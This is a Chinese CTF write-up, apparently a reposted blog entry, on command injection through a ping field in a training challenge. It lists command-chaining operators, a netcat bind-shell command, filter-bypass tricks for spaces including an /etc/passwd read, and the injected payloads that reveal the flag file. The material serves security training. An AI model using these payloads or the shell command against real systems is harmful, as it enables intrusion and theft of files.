【WEB】利用PING命令注入执行分析

题目地址 

https://www.mozhe.cn/bug/detail/RWpnQUllbmNaQUVndTFDWGxaL0JjUT09bW96aGUmozhe

资料

http://poetichacker.com/writeup/由iscc2018-web-ping学习命令注入.html

姿势 

  • 命令连接符
    command1 && command2   先执行command1后执行command2
    command1 | command2     只执行command2
    command1 & command2    先执行command2后执行command1

  • ”<” 表示的是输入重定向的意思,就是把<后面跟的文件取代键盘作为新的输入设备。”| ”则表示一个管道的意思,可以理解为东西从管道的一边流向另外一边。
  • 检测一阶命令注入的最佳方式是尝试执行一个sleep命令
  • 在外部可以访问的端口上生成一个shell(仅适用于自定义netcat构建):nc -l -n -vv -p 80 -e /bin/bash (unix) 或 nc -l -n -vv -p 80 -e cmd.exe (windows)。
  • 如果想要知道目标主机名的长度,我们可以将主机名的输出通过管道符传递给wc -c命令。
  • 常见php命令注入函数:

    eval(),,assert(), system(),preg_replace(), create_function, call_user_func, call_user_func_array,
    array_map(),反引号,ob_start(),exec(),shell_exec(),
    passthru(),escapeshellcmd(),popen(),proc_open(),pcntl_exec()

    命令注入中有讲究的字符

    '$'
    ';'
    '|'
    '-'
    '('
    ')'
    '反引号'
    '||'
    ————以上是上题过滤的。
    以下是查到的其他的:
    '&&'
    '&'
    '}'
    '{'

绕过

防护措施中使用最多的就是对于payload中空格的限制。

OS命令注入中的空格:

花括号扩展:

  • bash
    空格可以替换为%20、%09(tab)、%2b(+) in url、{IFS}
  • Win shell
    空格可以替换为%20、%09(tab)、%0b、%0c、%2b(+) in url
  • 如:;{cat,/etc/passwd}'

解法

几个命令: ls ,cat< ,cat

 由于此题是前端ip格式显示,burp抓包后该数据为127.0.0.1|ls可以查看key文件名称。

然后127.0.0.1|cat<key_1257293387526.php可以查看内容。

此处由于空格被过滤,所以用<替代

猜你喜欢

转载自blog.csdn.net/u014549283/article/details/81783164